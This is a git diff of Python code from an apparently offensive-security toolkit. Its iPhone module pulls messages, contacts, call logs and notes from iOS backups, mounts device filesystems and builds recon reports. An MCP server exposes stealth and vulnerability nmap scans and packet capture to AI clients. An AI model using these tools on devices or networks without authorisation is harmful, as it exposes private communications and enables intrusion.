|
file_hash = row[0]
|
||||||
|
sms_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||||
|
if not os.path.exists(sms_db):
|
||||||
|
return {'success': False, 'error': f'SMS db file not found: {file_hash}'}
|
||||||
|
# Query messages
|
||||||
|
conn = sqlite3.connect(sms_db)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute('''
|
||||||
|
SELECT m.rowid, m.text, m.date, m.is_from_me,
|
||||||
|
h.id AS handle_id, h.uncanonicalized_id
|
||||||
|
FROM message m
|
||||||
|
LEFT JOIN handle h ON m.handle_id = h.rowid
|
||||||
|
ORDER BY m.date DESC LIMIT 500
|
||||||
|
''')
|
||||||
|
messages = []
|
||||||
|
for row in cur.fetchall():
|
||||||
|
# Apple timestamps: seconds since 2001-01-01
|
||||||
|
apple_epoch = 978307200
|
||||||
|
ts = row[2]
|
||||||
|
if ts and ts > 1e17:
|
||||||
|
ts = ts / 1e9 # nanoseconds
|
||||||
|
date_readable = ''
|
||||||
|
if ts:
|
||||||
|
try:
|
||||||
|
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
|
||||||
|
except (ValueError, OSError):
|
||||||
|
pass
|
||||||
|
messages.append({
|
||||||
|
'id': row[0], 'text': row[1] or '', 'date': date_readable,
|
||||||
|
'is_from_me': bool(row[3]),
|
||||||
|
'handle': row[4] or row[5] or '',
|
||||||
|
})
|
||||||
|
conn.close()
|
||||||
|
return {'success': True, 'messages': messages, 'count': len(messages)}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def extract_backup_contacts(self, backup_path):
|
||||||
|
"""Extract contacts from backup."""
|
||||||
|
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||||
|
if not os.path.exists(manifest):
|
||||||
|
return {'success': False, 'error': 'Manifest.db not found'}
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(manifest)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'")
|
||||||
|
row = cur.fetchone()
|
||||||
|
conn.close()
|
||||||
|
if not row:
|
||||||
|
return {'success': False, 'error': 'AddressBook not found in backup'}
|
||||||
|
file_hash = row[0]
|
||||||
|
ab_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||||
|
if not os.path.exists(ab_db):
|
||||||
|
return {'success': False, 'error': 'AddressBook file not found'}
|
||||||
|
conn = sqlite3.connect(ab_db)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute('''
|
||||||
|
SELECT p.rowid, p.First, p.Last, p.Organization,
|
||||||
|
mv.value AS phone_or_email
|
||||||
|
FROM ABPerson p
|
||||||
|
LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id
|
||||||
|
ORDER BY p.Last, p.First
|
||||||
|
''')
|
||||||
|
contacts = {}
|
||||||
|
for row in cur.fetchall():
|
||||||
|
rid = row[0]
|
||||||
|
if rid not in contacts:
|
||||||
|
contacts[rid] = {
|
||||||
|
'first': row[1] or '', 'last': row[2] or '',
|
||||||
|
'organization': row[3] or '', 'values': []
|
||||||
|
}
|
||||||
|
if row[4]:
|
||||||
|
contacts[rid]['values'].append(row[4])
|
||||||
|
conn.close()
|
||||||
|
contact_list = list(contacts.values())
|
||||||
|
return {'success': True, 'contacts': contact_list, 'count': len(contact_list)}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def extract_backup_call_log(self, backup_path):
|
||||||
|
"""Extract call history from backup."""
|
||||||
|
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||||
|
if not os.path.exists(manifest):
|
||||||
|
return {'success': False, 'error': 'Manifest.db not found'}
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(manifest)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'")
|
||||||
|
row = cur.fetchone()
|
||||||
|
conn.close()
|
||||||
|
if not row:
|
||||||
|
return {'success': False, 'error': 'Call history not found in backup'}
|
||||||
|
file_hash = row[0]
|
||||||
|
ch_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||||
|
if not os.path.exists(ch_db):
|
||||||
|
return {'success': False, 'error': 'Call history file not found'}
|
||||||
|
conn = sqlite3.connect(ch_db)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute('''
|
||||||
|
SELECT ROWID, address, date, duration, flags, country_code
|
||||||
|
FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200
|
||||||
|
''')
|
||||||
|
flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'}
|
||||||
|
calls = []
|
||||||
|
apple_epoch = 978307200
|
||||||
|
for row in cur.fetchall():
|
||||||
|
ts = row[2]
|
||||||
|
date_readable = ''
|
||||||
|
if ts:
|
||||||
|
try:
|
||||||
|
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
|
||||||
|
except (ValueError, OSError):
|
||||||
|
pass
|
||||||
|
calls.append({
|
||||||
|
'id': row[0], 'address': row[1] or '', 'date': date_readable,
|
||||||
|
'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])),
|
||||||
|
'country': row[5] or '',
|
||||||
|
})
|
||||||
|
conn.close()
|
||||||
|
return {'success': True, 'calls': calls, 'count': len(calls)}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def extract_backup_notes(self, backup_path):
|
||||||
|
"""Extract notes from backup."""
|
||||||
|
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||||
|
if not os.path.exists(manifest):
|
||||||
|
return {'success': False, 'error': 'Manifest.db not found'}
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(manifest)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'")
|
||||||
|
row = cur.fetchone()
|
||||||
|
conn.close()
|
||||||
|
if not row:
|
||||||
|
return {'success': False, 'error': 'Notes database not found in backup'}
|
||||||
|
file_hash = row[0]
|
||||||
|
notes_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||||
|
if not os.path.exists(notes_db):
|
||||||
|
return {'success': False, 'error': 'Notes file not found'}
|
||||||
|
conn = sqlite3.connect(notes_db)
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute('''
|
||||||
|
SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE
|
||||||
|
FROM ZICCLOUDSYNCINGOBJECT n
|
||||||
|
LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE
|
||||||
|
WHERE n.ZTITLE IS NOT NULL
|
||||||
|
ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100
|
||||||
|
''')
|
||||||
|
apple_epoch = 978307200
|
||||||
|
notes = []
|
||||||
|
for row in cur.fetchall():
|
||||||
|
body = ''
|
||||||
|
if row[2]:
|
||||||
|
try:
|
||||||
|
body = row[2].decode('utf-8', errors='replace')[:500]
|
||||||
|
except Exception:
|
||||||
|
body = '[binary data]'
|
||||||
|
date_readable = ''
|
||||||
|
if row[3]:
|
||||||
|
try:
|
||||||
|
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch))
|
||||||
|
except (ValueError, OSError):
|
||||||
|
pass
|
||||||
|
notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable})
|
||||||
|
conn.close()
|
||||||
|
return {'success': True, 'notes': notes, 'count': len(notes)}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def list_backup_files(self, backup_path, domain='', path_filter=''):
|
||||||
|
"""List all files in a backup's Manifest.db."""
|
||||||
|
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||||
|
if not os.path.exists(manifest):
|
||||||
|
return {'success': False, 'error': 'Manifest.db not found'}
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(manifest)
|
||||||
|
cur = conn.cursor()
|
||||||
|
query = 'SELECT fileID, domain, relativePath, flags FROM Files'
|
||||||
|
conditions = []
|
||||||
|
params = []
|
||||||
|
if domain:
|
||||||
|
conditions.append('domain LIKE ?')
|
||||||
|
params.append(f'%{domain}%')
|
||||||
|
if path_filter:
|
||||||
|
conditions.append('relativePath LIKE ?')
|
||||||
|
params.append(f'%{path_filter}%')
|
||||||
|
if conditions:
|
||||||
|
query += ' WHERE ' + ' AND '.join(conditions)
|
||||||
|
query += ' LIMIT 500'
|
||||||
|
cur.execute(query, params)
|
||||||
|
files = []
|
||||||
|
for row in cur.fetchall():
|
||||||
|
files.append({
|
||||||
|
'hash': row[0], 'domain': row[1],
|
||||||
|
'path': row[2], 'flags': row[3],
|
||||||
|
})
|
||||||
|
conn.close()
|
||||||
|
return {'success': True, 'files': files, 'count': len(files)}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def extract_backup_file(self, backup_path, file_hash, output_name=None):
|
||||||
|
"""Extract a specific file from backup by its hash."""
|
||||||
|
src = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||||
|
if not os.path.exists(src):
|
||||||
|
return {'success': False, 'error': f'File not found: {file_hash}'}
|
||||||
|
out_dir = self._base / 'recon' / 'extracted'
|
||||||
|
out_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
dest = str(out_dir / (output_name or file_hash))
|
||||||
|
shutil.copy2(src, dest)
|
||||||
|
return {'success': True, 'path': dest, 'size': os.path.getsize(dest)}
|
||||||
|
|
||||||
|
# ── Filesystem ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def mount_filesystem(self, udid, mountpoint=None):
|
||||||
|
"""Mount device filesystem via ifuse."""
|
||||||
|
if 'ifuse' not in self._tools:
|
||||||
|
return {'success': False, 'error': 'ifuse not installed'}
|
||||||
|
if not mountpoint:
|
||||||
|
mountpoint = str(self._base / 'mnt' / udid)
|
||||||
|
os.makedirs(mountpoint, exist_ok=True)
|
||||||
|
stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint])
|
||||||
|
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
|
||||||
|
|
||||||
|
def mount_app_documents(self, udid, bundle_id, mountpoint=None):
|
||||||
|
"""Mount a specific app's Documents folder via ifuse."""
|
||||||
|
if 'ifuse' not in self._tools:
|
||||||
|
return {'success': False, 'error': 'ifuse not installed'}
|
||||||
|
if not mountpoint:
|
||||||
|
mountpoint = str(self._base / 'mnt' / udid / bundle_id)
|
||||||
|
os.makedirs(mountpoint, exist_ok=True)
|
||||||
|
stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint])
|
||||||
|
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
|
||||||
|
|
||||||
|
def unmount_filesystem(self, mountpoint):
|
||||||
|
"""Unmount a previously mounted filesystem."""
|
||||||
|
try:
|
||||||
|
subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10)
|
||||||
|
return {'success': True, 'mountpoint': mountpoint}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
# ── Provisioning Profiles ────────────────────────────────────────
|
||||||
|
|
||||||
|
def list_profiles(self, udid):
|
||||||
|
"""List provisioning profiles on device."""
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15)
|
||||||
|
if rc != 0:
|
||||||
|
return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []}
|
||||||
|
profiles = []
|
||||||
|
current = {}
|
||||||
|
for line in stdout.split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith('ProvisionedDevices'):
|
||||||
|
continue
|
||||||
|
if ' - ' in line and not current:
|
||||||
|
current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()}
|
||||||
|
elif line == '' and current:
|
||||||
|
profiles.append(current)
|
||||||
|
current = {}
|
||||||
|
if current:
|
||||||
|
profiles.append(current)
|
||||||
|
return {'success': True, 'profiles': profiles, 'count': len(profiles)}
|
||||||
|
|
||||||
|
def install_profile(self, udid, profile_path):
|
||||||
|
"""Install a provisioning/configuration profile."""
|
||||||
|
if not os.path.isfile(profile_path):
|
||||||
|
return {'success': False, 'error': f'File not found: {profile_path}'}
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
|
||||||
|
['install', profile_path], timeout=15)
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def remove_profile(self, udid, profile_id):
|
||||||
|
"""Remove a provisioning profile."""
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
|
||||||
|
['remove', profile_id], timeout=15)
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
# ── Port Forwarding ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
def port_forward(self, udid, local_port, device_port):
|
||||||
|
"""Set up port forwarding via iproxy (runs in background)."""
|
||||||
|
if 'iproxy' not in self._tools:
|
||||||
|
return {'success': False, 'error': 'iproxy not installed'}
|
||||||
|
try:
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
[self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE
|
||||||
|
)
|
||||||
|
time.sleep(0.5)
|
||||||
|
if proc.poll() is not None:
|
||||||
|
_, err = proc.communicate()
|
||||||
|
return {'success': False, 'error': err.decode().strip()}
|
||||||
|
return {'success': True, 'pid': proc.pid,
|
||||||
|
'local': local_port, 'device': device_port}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
# ── Device Fingerprint ───────────────────────────────────────────
|
||||||
|
|
||||||
|
def full_fingerprint(self, udid):
|
||||||
|
"""Get comprehensive device fingerprint."""
|
||||||
|
fp = self.device_info(udid)
|
||||||
|
# Add specific domains
|
||||||
|
for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery',
|
||||||
|
'com.apple.mobile.internal', 'com.apple.international']:
|
||||||
|
domain_info = self.device_info_domain(udid, domain)
|
||||||
|
if 'error' not in domain_info:
|
||||||
|
fp[f'domain_{domain.split(".")[-1]}'] = domain_info
|
||||||
|
return fp
|
||||||
|
|
||||||
|
def export_recon_report(self, udid):
|
||||||
|
"""Export full reconnaissance report."""
|
||||||
|
out_dir = self._udid_dir('recon', udid)
|
||||||
|
report = {
|
||||||
|
'udid': udid,
|
||||||
|
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
|
||||||
|
'device_info': self.device_info(udid),
|
||||||
|
'pair_status': self.validate_pair(udid),
|
||||||
|
'apps': self.list_apps(udid),
|
||||||
|
'profiles': self.list_profiles(udid),
|
||||||
|
}
|
||||||
|
report_path = str(out_dir / f'report_{int(time.time())}.json')
|
||||||
|
with open(report_path, 'w') as f:
|
||||||
|
json.dump(report, f, indent=2, default=str)
|
||||||
|
return {'success': True, 'report_path': report_path}
|
||||||
|
|
||||||
|
|
||||||
|
# ── Singleton ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_manager = None
|
||||||
|
|
||||||
|
def get_iphone_manager():
|
||||||
|
global _manager
|
||||||
|
if _manager is None:
|
||||||
|
_manager = IPhoneExploitManager()
|
||||||
|
return _manager
|
||||||
1465
core/llm.py
Normal file
1465
core/llm.py
Normal file
File diff suppressed because it is too large
Load Diff
585
core/mcp_server.py
Normal file
585
core/mcp_server.py
Normal file
@ -0,0 +1,585 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH MCP Server
|
||||||
|
Exposes AUTARCH tools via Model Context Protocol (MCP)
|
||||||
|
for use with Claude Desktop, Claude Code, and other MCP clients.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
# Ensure core is importable
|
||||||
|
_app_dir = Path(__file__).resolve().parent.parent
|
||||||
|
if str(_app_dir) not in sys.path:
|
||||||
|
sys.path.insert(0, str(_app_dir))
|
||||||
|
|
||||||
|
from core.config import get_config
|
||||||
|
from core.paths import find_tool, get_app_dir
|
||||||
|
|
||||||
|
# MCP server state
|
||||||
|
_server_process = None
|
||||||
|
_server_thread = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_autarch_tools():
|
||||||
|
"""Build the list of AUTARCH tools to expose via MCP."""
|
||||||
|
tools = []
|
||||||
|
|
||||||
|
# ── Network Scanning ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'nmap_scan',
|
||||||
|
'description': 'Run an nmap scan against a target. Returns scan results.',
|
||||||
|
'params': {
|
||||||
|
'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True},
|
||||||
|
'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False},
|
||||||
|
'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── GeoIP Lookup ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'geoip_lookup',
|
||||||
|
'description': 'Look up geographic and network information for an IP address.',
|
||||||
|
'params': {
|
||||||
|
'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── DNS Lookup ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'dns_lookup',
|
||||||
|
'description': 'Perform DNS lookups for a domain.',
|
||||||
|
'params': {
|
||||||
|
'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True},
|
||||||
|
'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── WHOIS ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'whois_lookup',
|
||||||
|
'description': 'Perform WHOIS lookup for a domain or IP.',
|
||||||
|
'params': {
|
||||||
|
'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── Packet Capture ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'packet_capture',
|
||||||
|
'description': 'Capture network packets using tcpdump. Returns captured packet summary.',
|
||||||
|
'params': {
|
||||||
|
'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False},
|
||||||
|
'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False},
|
||||||
|
'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── WireGuard Status ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'wireguard_status',
|
||||||
|
'description': 'Get WireGuard VPN tunnel status and peer information.',
|
||||||
|
'params': {}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── UPnP Status ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'upnp_status',
|
||||||
|
'description': 'Get UPnP port mapping status.',
|
||||||
|
'params': {}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── System Info ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'system_info',
|
||||||
|
'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.',
|
||||||
|
'params': {}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── LLM Chat ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'llm_chat',
|
||||||
|
'description': 'Send a message to the currently configured LLM backend and get a response.',
|
||||||
|
'params': {
|
||||||
|
'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True},
|
||||||
|
'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── Android Device Info ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'android_devices',
|
||||||
|
'description': 'List connected Android devices via ADB.',
|
||||||
|
'params': {}
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── Config Get/Set ──
|
||||||
|
tools.append({
|
||||||
|
'name': 'config_get',
|
||||||
|
'description': 'Get an AUTARCH configuration value.',
|
||||||
|
'params': {
|
||||||
|
'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True},
|
||||||
|
'key': {'type': 'string', 'description': 'Config key', 'required': True},
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return tools
|
||||||
|
|
||||||
|
|
||||||
|
def execute_tool(name: str, arguments: dict) -> str:
|
||||||
|
"""Execute an AUTARCH tool and return the result as a string."""
|
||||||
|
config = get_config()
|
||||||
|
|
||||||
|
if name == 'nmap_scan':
|
||||||
|
return _run_nmap(arguments, config)
|
||||||
|
elif name == 'geoip_lookup':
|
||||||
|
return _run_geoip(arguments)
|
||||||
|
elif name == 'dns_lookup':
|
||||||
|
return _run_dns(arguments)
|
||||||
|
elif name == 'whois_lookup':
|
||||||
|
return _run_whois(arguments)
|
||||||
|
elif name == 'packet_capture':
|
||||||
|
return _run_tcpdump(arguments)
|
||||||
|
elif name == 'wireguard_status':
|
||||||
|
return _run_wg_status(config)
|
||||||
|
elif name == 'upnp_status':
|
||||||
|
return _run_upnp_status(config)
|
||||||
|
elif name == 'system_info':
|
||||||
|
return _run_system_info()
|
||||||
|
elif name == 'llm_chat':
|
||||||
|
return _run_llm_chat(arguments, config)
|
||||||
|
elif name == 'android_devices':
|
||||||
|
return _run_adb_devices()
|
||||||
|
elif name == 'config_get':
|
||||||
|
return _run_config_get(arguments, config)
|
||||||
|
else:
|
||||||
|
return json.dumps({'error': f'Unknown tool: {name}'})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_nmap(args: dict, config) -> str:
|
||||||
|
nmap = find_tool('nmap')
|
||||||
|
if not nmap:
|
||||||
|
return json.dumps({'error': 'nmap not found'})
|
||||||
|
|
||||||
|
target = args.get('target', '')
|
||||||
|
if not target:
|
||||||
|
return json.dumps({'error': 'target is required'})
|
||||||
|
|
||||||
|
cmd = [str(nmap)]
|
||||||
|
scan_type = args.get('scan_type', 'quick')
|
||||||
|
if scan_type == 'stealth':
|
||||||
|
cmd.extend(['-sS', '-T2'])
|
||||||
|
elif scan_type == 'full':
|
||||||
|
cmd.extend(['-sV', '-sC', '-O'])
|
||||||
|
elif scan_type == 'vuln':
|
||||||
|
cmd.extend(['-sV', '--script=vuln'])
|
||||||
|
else:
|
||||||
|
cmd.extend(['-sV', '-T4'])
|
||||||
|
|
||||||
|
ports = args.get('ports', '')
|
||||||
|
if ports:
|
||||||
|
cmd.extend(['-p', ports])
|
||||||
|
|
||||||
|
cmd.append(target)
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||||
|
return json.dumps({
|
||||||
|
'stdout': result.stdout,
|
||||||
|
'stderr': result.stderr,
|
||||||
|
'exit_code': result.returncode
|
||||||
|
})
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return json.dumps({'error': 'Scan timed out after 120 seconds'})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_geoip(args: dict) -> str:
|
||||||
|
ip = args.get('ip', '')
|
||||||
|
if not ip:
|
||||||
|
return json.dumps({'error': 'ip is required'})
|
||||||
|
|
||||||
|
try:
|
||||||
|
import urllib.request
|
||||||
|
url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query"
|
||||||
|
with urllib.request.urlopen(url, timeout=10) as resp:
|
||||||
|
return resp.read().decode()
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_dns(args: dict) -> str:
|
||||||
|
domain = args.get('domain', '')
|
||||||
|
if not domain:
|
||||||
|
return json.dumps({'error': 'domain is required'})
|
||||||
|
|
||||||
|
record_type = args.get('record_type', 'A')
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
['dig', '+short', domain, record_type],
|
||||||
|
capture_output=True, text=True, timeout=10
|
||||||
|
)
|
||||||
|
records = [r for r in result.stdout.strip().split('\n') if r]
|
||||||
|
return json.dumps({'domain': domain, 'type': record_type, 'records': records})
|
||||||
|
except FileNotFoundError:
|
||||||
|
# Fallback to socket for A records
|
||||||
|
try:
|
||||||
|
ips = socket.getaddrinfo(domain, None)
|
||||||
|
records = list(set(addr[4][0] for addr in ips))
|
||||||
|
return json.dumps({'domain': domain, 'type': 'A', 'records': records})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_whois(args: dict) -> str:
|
||||||
|
target = args.get('target', '')
|
||||||
|
if not target:
|
||||||
|
return json.dumps({'error': 'target is required'})
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
['whois', target],
|
||||||
|
capture_output=True, text=True, timeout=15
|
||||||
|
)
|
||||||
|
return json.dumps({'target': target, 'output': result.stdout[:4000]})
|
||||||
|
except FileNotFoundError:
|
||||||
|
return json.dumps({'error': 'whois command not found'})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_tcpdump(args: dict) -> str:
|
||||||
|
tcpdump = find_tool('tcpdump')
|
||||||
|
if not tcpdump:
|
||||||
|
return json.dumps({'error': 'tcpdump not found'})
|
||||||
|
|
||||||
|
cmd = [str(tcpdump), '-n']
|
||||||
|
iface = args.get('interface', '')
|
||||||
|
if iface:
|
||||||
|
cmd.extend(['-i', iface])
|
||||||
|
|
||||||
|
count = args.get('count', 10)
|
||||||
|
cmd.extend(['-c', str(count)])
|
||||||
|
|
||||||
|
bpf_filter = args.get('filter', '')
|
||||||
|
if bpf_filter:
|
||||||
|
cmd.append(bpf_filter)
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
||||||
|
return json.dumps({
|
||||||
|
'stdout': result.stdout,
|
||||||
|
'stderr': result.stderr,
|
||||||
|
'exit_code': result.returncode
|
||||||
|
})
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return json.dumps({'error': 'Capture timed out'})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_wg_status(config) -> str:
|
||||||
|
wg = find_tool('wg')
|
||||||
|
if not wg:
|
||||||
|
return json.dumps({'error': 'wg not found'})
|
||||||
|
|
||||||
|
iface = config.get('wireguard', 'interface', 'wg0')
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
[str(wg), 'show', iface],
|
||||||
|
capture_output=True, text=True, timeout=10
|
||||||
|
)
|
||||||
|
return json.dumps({
|
||||||
|
'interface': iface,
|
||||||
|
'output': result.stdout,
|
||||||
|
'active': result.returncode == 0
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_upnp_status(config) -> str:
|
||||||
|
upnpc = find_tool('upnpc')
|
||||||
|
if not upnpc:
|
||||||
|
return json.dumps({'error': 'upnpc not found'})
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
[str(upnpc), '-l'],
|
||||||
|
capture_output=True, text=True, timeout=10
|
||||||
|
)
|
||||||
|
return json.dumps({
|
||||||
|
'output': result.stdout,
|
||||||
|
'exit_code': result.returncode
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_system_info() -> str:
|
||||||
|
import platform
|
||||||
|
|
||||||
|
info = {
|
||||||
|
'hostname': socket.gethostname(),
|
||||||
|
'platform': platform.platform(),
|
||||||
|
'python': platform.python_version(),
|
||||||
|
'arch': platform.machine(),
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
info['ip'] = socket.gethostbyname(socket.gethostname())
|
||||||
|
except Exception:
|
||||||
|
info['ip'] = '127.0.0.1'
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open('/proc/uptime') as f:
|
||||||
|
uptime_secs = float(f.read().split()[0])
|
||||||
|
days = int(uptime_secs // 86400)
|
||||||
|
hours = int((uptime_secs % 86400) // 3600)
|
||||||
|
info['uptime'] = f"{days}d {hours}h"
|
||||||
|
except Exception:
|
||||||
|
info['uptime'] = 'N/A'
|
||||||
|
|
||||||
|
# Tool availability
|
||||||
|
tools = {}
|
||||||
|
for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']:
|
||||||
|
tools[tool] = find_tool(tool) is not None
|
||||||
|
info['tools'] = tools
|
||||||
|
|
||||||
|
config = get_config()
|
||||||
|
info['llm_backend'] = config.get('autarch', 'llm_backend', 'local')
